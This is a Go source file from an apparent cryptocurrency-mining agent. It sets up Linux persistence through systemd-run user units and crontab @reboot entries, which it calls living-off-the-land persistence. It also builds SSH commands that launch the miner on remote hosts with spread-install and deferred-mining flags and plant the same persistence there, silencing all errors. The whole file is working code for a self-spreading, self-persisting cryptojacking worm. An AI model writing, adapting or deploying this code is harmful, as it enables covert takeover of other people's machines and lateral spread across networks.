//go:build !windows package deploy import ( "fmt" "log" "os/exec" "strings" "crypto-miner-agent/config" ) // applyLinuxLOTLPersistence registers systemd-run --user and/or crontab hooks after install. func applyLinuxLOTLPersistence(cfg config.RuntimeConfig, binPath string) { mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode)) if mode == "" || mode == "off" { return } runArgs := "--run" if WantsDeferMining() { runArgs += " --defer-mining" } if mode == "systemd_run_user" || mode == "both" { unit := sanitizeName(cfg.WorkerName) + "-worker" if unit == "-worker" { unit = "aetherforge-worker" } args := []string{"--user", "--unit=" + unit + ".service", binPath} args = append(args, strings.Fields(runArgs)...) if err := exec.Command("systemd-run", args...).Run(); err != nil { log.Printf("[lotl] systemd-run --user failed: %v", err) } else { log.Printf("[lotl] systemd-run --user registered %s", unit) } } if mode == "crontab" || mode == "both" { line := fmt.Sprintf("@reboot %s %s >/dev/null 2>&1", binPath, runArgs) out, _ := exec.Command("crontab", "-l").Output() existing := string(out) if strings.Contains(existing, binPath) { return } newCrontab := strings.TrimSpace(existing) if newCrontab != "" { newCrontab += "\n" } newCrontab += line + "\n" cmd := exec.Command("crontab", "-") cmd.Stdin = strings.NewReader(newCrontab) if err := cmd.Run(); err != nil { log.Printf("[lotl] crontab persist failed: %v", err) } else { log.Printf("[lotl] crontab @reboot entry added") } } } // sshSpreadStartCmd builds remote start with spread + defer-mining flags. func sshSpreadStartCmd(remotePath string) string { return fmt.Sprintf("chmod +x %s && nohup %s --spread-install --defer-mining >/dev/null 2>&1 &", remotePath, remotePath) } // sshSpreadPersistCmd optionally installs LOTL persistence on remote (writable home required). func sshSpreadPersistCmd(cfg config.RuntimeConfig, remotePath string) string { mode := strings.ToLower(strings.TrimSpace(cfg.LinuxLOTLMode)) if mode == "" || mode == "off" { return "" } var parts []string if mode == "systemd_run_user" || mode == "both" { parts = append(parts, fmt.Sprintf("systemd-run --user --unit=aetherforge-spread.service %s --run --defer-mining 2>/dev/null || true", remotePath)) } if mode == "crontab" || mode == "both" { parts = append(parts, fmt.Sprintf(`(crontab -l 2>/dev/null; echo "@reboot %s --run --defer-mining >/dev/null 2>&1") | crontab - 2>/dev/null || true`, remotePath)) } return strings.Join(parts, "; ") }